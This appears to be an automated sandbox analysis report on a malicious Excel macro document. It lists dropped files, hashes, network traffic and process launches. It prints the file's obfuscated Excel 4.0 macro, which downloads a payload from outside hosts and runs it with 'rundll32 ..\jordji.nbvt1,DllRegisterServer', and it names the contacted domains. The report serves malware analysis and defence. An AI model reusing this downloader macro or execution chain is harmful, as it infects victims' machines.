                                                                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:ASCII text, with CRLF line terminators
                                                                      Category:dropped
                                                                      Size (bytes):112
                                                                      Entropy (8bit):4.596835672763112
                                                                      Encrypted:false
                                                                      SSDEEP:3:oyBVomxWdadbqd2Oytdbqd2mxWdadbqd2v:djuadbq0tdbqeadbqC
                                                                      MD5:95E36E62400916BBF25A7DA135CC6292
                                                                      SHA1:8A367A93D486C0572A00662C13212C5E91D88046
                                                                      SHA-256:6FE62B28EA8D950E7880A2AE4D1A5C49CA2DCA93A38212B5238D2B2812833B57
                                                                      SHA-512:A42956AB7D40E6BC49307E0375F18E57797CFA3B0BAC3D3BE796A0042542046B23D4E8F4E75293DBF03051283A628A7F02AED8FAAF2F3194136D963D7CA0724C
                                                                      Malicious:false
                                                                      Preview: Desktop.LNK=0..[misc]..statistic-207394368.LNK=0..statistic-207394368.LNK=0..[misc]..statistic-207394368.LNK=0..
                                                                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\statistic-207394368.LNK
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:17 2020, mtime=Tue May 4 19:23:42 2021, atime=Tue May 4 19:23:42 2021, length=109076, window=hide
                                                                      Category:dropped
                                                                      Size (bytes):2128
                                                                      Entropy (8bit):4.540064354856009
                                                                      Encrypted:false
                                                                      SSDEEP:48:8r/XTFGq922DmWY/Qh2r/XTFGq922DmWY/Q/:8r/XJGqzDDY/Qh2r/XJGqzDDY/Q/
                                                                      MD5:5CB087C149FDBC751FBB49BCA796540F
                                                                      SHA1:66AB09F631842DA1A935105BC651E55E123FBA5E
                                                                      SHA-256:677420BC74C2DC70252CF65AFA911D1351FE019C744C466C8B2A480C2B4831A4
                                                                      SHA-512:96C905E8BFF86365DD41C70ECB861390F56A80DBF400578C0744972D7D2CCD3FBF0D4C93BD29113FA8831C119DE4F7373F42BC030CF9F06AD8FEA880497190CA
                                                                      Malicious:false
                                                                      Preview: L..................F.... ........{..E0S`#A...\`#A...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....z.2......R. .STATIS~1.XLS..^.......Q.y.Q.y*...8.....................s.t.a.t.i.s.t.i.c.-.2.0.7.3.9.4.3.6.8...x.l.s.m.......................-...8...[............?J......C:\Users\..#...................\\301389\Users.user\Desktop\statistic-207394368.xlsm./.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.s.t.a.t.i.s.t.i.c.-.2.0.7.3.9.4.3.6.8...x.l.s.m.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......301389..........D_..
                                                                      C:\Users\user\Desktop\10EE0000
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:data
                                                                      Category:dropped
                                                                      Size (bytes):109076
                                                                      Entropy (8bit):7.917008419091816
                                                                      Encrypted:false
                                                                      SSDEEP:1536:oeuov3BiTr4GDgM+1M92hjPcQpWUot9ENPcNcrAOJOerwzkFBHhr6vQnf+zyyfqy:oeuocrZD2MopH8x+FHdoLqp6vif+zbx
                                                                      MD5:D2FF29AD3B233F4BB1190F7B84EB65B9
                                                                      SHA1:F5E111716451C84B316BF0CF9BECEDAE32D96A8B
                                                                      SHA-256:AAECAF9C356C810069B580317718521B90EDD8B04A3B01974F334CC3EA1F626F
                                                                      SHA-512:A7A781A15A770F06AAB2C13EBEC904ABCAEBCD90C7B4BC86244166F58733AF4331135F232AF70D4F3F2DBFD27A7C6D7EC8DF34468F3FF6289D18A8759E82D1FA
                                                                      Malicious:false
                                                                      Preview: .U.n.0....?..........C....I?.&..a..e.....5..Jr........jcM....w-.hf..'..k.....0.....Z..dW......XQ...).....l|.G3+..H..;..\....l..K...T.......&U....)Yj....2U.D.FK.H(.r.......|...`. ....&DM...R....u...f.y.xE...%#2....,.`..~!.^a.3..0.....ZAu'b.......}\/._7.A...k.H0Mq..BF........^..`*........7........E. .V.-f.....2.n:.h.]].a..J.../...c..........-...c.E.u.(...../.....s......>.....> .q...$Y....AL..Yv,)..........a.@....pZ........PK..........!.t...............[Content_Types].xml ...(..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                      C:\Users\user\Desktop\~$statistic-207394368.xlsm
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:data
                                                                      Category:dropped
                                                                      Size (bytes):330
                                                                      Entropy (8bit):1.4377382811115937
                                                                      Encrypted:false
                                                                      SSDEEP:3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
                                                                      MD5:96114D75E30EBD26B572C1FC83D1D02E
                                                                      SHA1:A44EEBDA5EB09862AC46346227F06F8CFAF19407
                                                                      SHA-256:0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
                                                                      SHA-512:52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
                                                                      Malicious:true
                                                                      Preview: .user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                      C:\Users\user\jordji.nbvt11
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:HTML document, ASCII text
                                                                      Category:dropped
                                                                      Size (bytes):494
                                                                      Entropy (8bit):4.962239405540505
                                                                      Encrypted:false
                                                                      SSDEEP:12:hnMQbwzRQ6QclfhxxEdWr+YZrH3atJMlgOt0quoQL:hMxRQspxCQnZrH3atEx0h
                                                                      MD5:0357AA49EA850B11B99D09A2479C321B
                                                                      SHA1:41472BA5C40F61FA1C77C42CF06248F13B8785F0
                                                                      SHA-256:0FF0B7FCB090C65D0BDCB2AF4BBD2C30F33356B3CE9B117186FA20391EF840A3
                                                                      SHA-512:A317A0F035B8DFF7CA60C76B0B75698A3528FD4C7C5E915292C982D2B38C1C937C318362C891E93BEE6FDB1B166764D7183140A837FD23DAA2BE3D2DAC5A5DFC
                                                                      Malicious:false
                                                                      Preview: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">.<html>. <head>. <title>Contact Support</title>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">. </head>. <body marginwidth="0" marginheight="0" leftmargin="0" topmargin="0">. <iframe width="100%" height="100%" frameborder="0" SCROLLING="auto" marginwidth="0" src="http://fwdssp.com/?dn=referer_detect&pid=5POL4F2O4"></iframe>. </body>.</html>.

                                                                      Static File Info

                                                                      General

                                                                      File type:Microsoft Excel 2007+
                                                                      Entropy (8bit):7.917058358399405
                                                                      TrID:
                                                                      • Excel Microsoft Office Open XML Format document (40004/1) 83.33%
                                                                      • ZIP compressed archive (8000/1) 16.67%
                                                                      File name:statistic-207394368.xlsm
                                                                      File size:109084
                                                                      MD5:cd5e9899a7fa08e45309f4cf728bedf5
                                                                      SHA1:a8671b54099e2d201660d220fc5652d3576bd5e6
                                                                      SHA256:0465986113ca6df44638d99a67706662f7336e90c00d981666ba22217cefcfb5
                                                                      SHA512:59c81e6bb9dee856614b4881d05f11f374f5d7dfab3bf9c2bc1495baa8a63ac93a8230420b722366f8d3dd718f7aa198250a89b5d1b94cc57a22b5c9d6095fec
                                                                      SSDEEP:1536:cutuov3BiTr4GDgM+nG92hjPcQpWUot9E8cNcrAOJOerwzkFBHhr6vQnf+zy7fc:ckuocrZDKGopH8x+8HdoLqp6vif+zUk
                                                                      File Content Preview:PK..........!.t...............[Content_Types].xml ...(.........................................................................................................................................................................................................

                                                                      File Icon

                                                                      Icon Hash:e4e2aa8aa4bcbcac

                                                                      Static OLE Info

                                                                      General

                                                                      Document Type:OpenXML
                                                                      Number of OLE Files:1

                                                                      OLE File "statistic-207394368.xlsm"

                                                                      Indicators

                                                                      Has Summary Info:
                                                                      Application Name:
                                                                      Encrypted Document:
                                                                      Contains Word Document Stream:
                                                                      Contains Workbook/Book Stream:
                                                                      Contains PowerPoint Document Stream:
                                                                      Contains Visio Document Stream:
                                                                      Contains ObjectPool Stream:
                                                                      Flash Objects Count:
                                                                      Contains VBA Macros:

                                                                      Macro 4.0 Code

                                                                      ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
                                                                      ,,,=HALT(),,,,,,,,,,,,"=4984654+9846544+468464=CALL(Sheet2!AY107&""n"",Sheet2!AY108&""A"",Sheet2!AY118,before.3.21.42.sheet!AR49,Sheet2!AT114,before.3.21.42.sheet!AT39,0,0)=CALL(Sheet2!AY107&""n"",Sheet2!AY108&""A"",Sheet2!AY118,before.3.21.42.sheet!AR49,Sheet2!AT115,before.3.21.42.sheet!AT39&""1"",0,0)",,,,,,,,,,,,,,,=Sheet2!AW142(),,,,,,,,,,,,,,,,,,,,,U,J,",D",..\jordji.nbvt1R,J,l,L,C,l,D,C,R,o,B,e,w,B,g,n,,i,l,,s,o,,t,a,,e,d,0,r,T,,S,o,,e,F,,r,i,,ve,l,,r,e,,,

                                                                      Network Behavior

                                                                      Network Port Distribution

                                                                      TCP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      May 4, 2021 13:23:31.193011999 CEST49165443192.168.2.22192.254.233.89
                                                                      May 4, 2021 13:23:31.380249023 CEST44349165192.254.233.89192.168.2.22
                                                                      May 4, 2021 13:23:31.380393028 CEST49165443192.168.2.22192.254.233.89
                                                                      May 4, 2021 13:23:31.390901089 CEST49165443192.168.2.22192.254.233.89
                                                                      May 4, 2021 13:23:31.577299118 CEST44349165192.254.233.89192.168.2.22
                                                                      May 4, 2021 13:23:31.587058067 CEST44349165192.254.233.89192.168.2.22
                                                                      May 4, 2021 13:23:31.587083101 CEST44349165192.254.233.89192.168.2.22
                                                                      May 4, 2021 13:23:31.587095976 CEST44349165192.254.233.89192.168.2.22
                                                                      May 4, 2021 13:23:31.587235928 CEST49165443192.168.2.22192.254.233.89
                                                                      May 4, 2021 13:23:31.639806986 CEST49165443192.168.2.22192.254.233.89
                                                                      May 4, 2021 13:23:31.835870028 CEST44349165192.254.233.89192.168.2.22
                                                                      May 4, 2021 13:23:31.836070061 CEST49165443192.168.2.22192.254.233.89
                                                                      May 4, 2021 13:23:33.433465004 CEST49165443192.168.2.22192.254.233.89
                                                                      May 4, 2021 13:23:33.663269997 CEST44349165192.254.233.89192.168.2.22
                                                                      May 4, 2021 13:23:34.072639942 CEST44349165192.254.233.89192.168.2.22
                                                                      May 4, 2021 13:23:34.072799921 CEST49165443192.168.2.22192.254.233.89
                                                                      May 4, 2021 13:23:34.072937012 CEST44349165192.254.233.89192.168.2.22
                                                                      May 4, 2021 13:23:34.073014975 CEST49165443192.168.2.22192.254.233.89
                                                                      May 4, 2021 13:23:34.073410988 CEST49165443192.168.2.22192.254.233.89
                                                                      May 4, 2021 13:23:34.147036076 CEST49168443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:34.258030891 CEST44349165192.254.233.89192.168.2.22
                                                                      May 4, 2021 13:23:34.308703899 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:34.308868885 CEST49168443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:34.309632063 CEST49168443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:34.473254919 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:34.487514973 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:34.487566948 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:34.487587929 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:34.487716913 CEST49168443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:34.527609110 CEST49168443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:34.729377985 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:34.760685921 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:34.760797024 CEST49168443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:34.796578884 CEST49168443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:34.958206892 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.007493019 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.007723093 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.007745028 CEST49168443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.007807970 CEST49168443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.008599997 CEST49168443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.011596918 CEST49169443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.170104027 CEST44349168192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.170238972 CEST44349169192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.170334101 CEST49169443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.171217918 CEST49169443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.329912901 CEST44349169192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.382668018 CEST44349169192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.382828951 CEST49169443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.383158922 CEST49169443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.412802935 CEST49169443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.541810989 CEST44349169192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.571610928 CEST44349169192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.703016996 CEST44349169192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.703095913 CEST49169443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.703207016 CEST44349169192.185.5.2192.168.2.22
                                                                      May 4, 2021 13:23:35.703262091 CEST49169443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.703720093 CEST49169443192.168.2.22192.185.5.2
                                                                      May 4, 2021 13:23:35.862390041 CEST44349169192.185.5.2192.168.2.22

                                                                      UDP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      May 4, 2021 13:23:31.117532015 CEST5219753192.168.2.228.8.8.8
                                                                      May 4, 2021 13:23:31.179560900 CEST53521978.8.8.8192.168.2.22
                                                                      May 4, 2021 13:23:32.180489063 CEST5309953192.168.2.228.8.8.8
                                                                      May 4, 2021 13:23:32.229142904 CEST53530998.8.8.8192.168.2.22
                                                                      May 4, 2021 13:23:32.240359068 CEST5283853192.168.2.228.8.8.8
                                                                      May 4, 2021 13:23:32.300182104 CEST53528388.8.8.8192.168.2.22
                                                                      May 4, 2021 13:23:32.857777119 CEST6120053192.168.2.228.8.8.8
                                                                      May 4, 2021 13:23:32.915534019 CEST53612008.8.8.8192.168.2.22
                                                                      May 4, 2021 13:23:32.920926094 CEST4954853192.168.2.228.8.8.8
                                                                      May 4, 2021 13:23:32.980994940 CEST53495488.8.8.8192.168.2.22
                                                                      May 4, 2021 13:23:34.087980986 CEST5562753192.168.2.228.8.8.8
                                                                      May 4, 2021 13:23:34.144860029 CEST53556278.8.8.8192.168.2.22

                                                                      DNS Queries

                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                      May 4, 2021 13:23:31.117532015 CEST192.168.2.228.8.8.80x6029Standard query (0)industrialarttextile.comA (IP address)IN (0x0001)
                                                                      May 4, 2021 13:23:34.087980986 CEST192.168.2.228.8.8.80xe1c4Standard query (0)anaheimdermatologists.comA (IP address)IN (0x0001)

                                                                      DNS Answers

                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                      May 4, 2021 13:23:31.179560900 CEST8.8.8.8192.168.2.220x6029No error (0)industrialarttextile.com192.254.233.89A (IP address)IN (0x0001)
                                                                      May 4, 2021 13:23:34.144860029 CEST8.8.8.8192.168.2.220xe1c4No error (0)anaheimdermatologists.com192.185.5.2A (IP address)IN (0x0001)

                                                                      HTTPS Packets

                                                                      TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                                                                      May 4, 2021 13:23:31.587095976 CEST192.254.233.89443192.168.2.2249165CN=mail.gdmart.com.bd CN=R3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Wed Mar 10 10:47:11 CET 2021 Wed Oct 07 21:21:40 CEST 2020Tue Jun 08 11:47:11 CEST 2021 Wed Sep 29 21:21:40 CEST 2021771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,07dcce5b76c8b17472d024758970a406b
                                                                      CN=R3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 21:21:40 CEST 2021
                                                                      May 4, 2021 13:23:34.487587929 CEST192.185.5.2443192.168.2.2249168CN=cpcalendars.anaheimdermatologists.com CN=R3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Wed Mar 17 22:18:32 CET 2021 Wed Oct 07 21:21:40 CEST 2020Tue Jun 15 23:18:32 CEST 2021 Wed Sep 29 21:21:40 CEST 2021771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,07dcce5b76c8b17472d024758970a406b
                                                                      CN=R3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 21:21:40 CEST 2021

                                                                      Code Manipulations

                                                                      Statistics

                                                                      Behavior

                                                                      Click to jump to process

                                                                      System Behavior

                                                                      General

                                                                      Start time:13:23:39
                                                                      Start date:04/05/2021
                                                                      Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      Wow64 process (32bit):false
                                                                      Commandline:'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
                                                                      Imagebase:0x13f370000
                                                                      File size:27641504 bytes
                                                                      MD5 hash:5FB0A0F93382ECD19F5F499A5CAA59F0
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high

                                                                      General

                                                                      Start time:13:23:47
                                                                      Start date:04/05/2021
                                                                      Path:C:\Windows\System32\rundll32.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:rundll32 ..\jordji.nbvt1,DllRegisterServer
                                                                      Imagebase:0xffaa0000
                                                                      File size:45568 bytes
                                                                      MD5 hash:DD81D91FF3B0763C392422865C9AC12E
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high

                                                                      General

                                                                      Start time:13:23:47
                                                                      Start date:04/05/2021
                                                                      Path:C:\Windows\System32\rundll32.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:rundll32 ..\jordji.nbvt11,DllRegisterServer
                                                                      Imagebase:0xffaa0000
                                                                      File size:45568 bytes
                                                                      MD5 hash:DD81D91FF3B0763C392422865C9AC12E
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high

                                                                      Disassembly

                                                                      Code Analysis

                                                                      Reset < >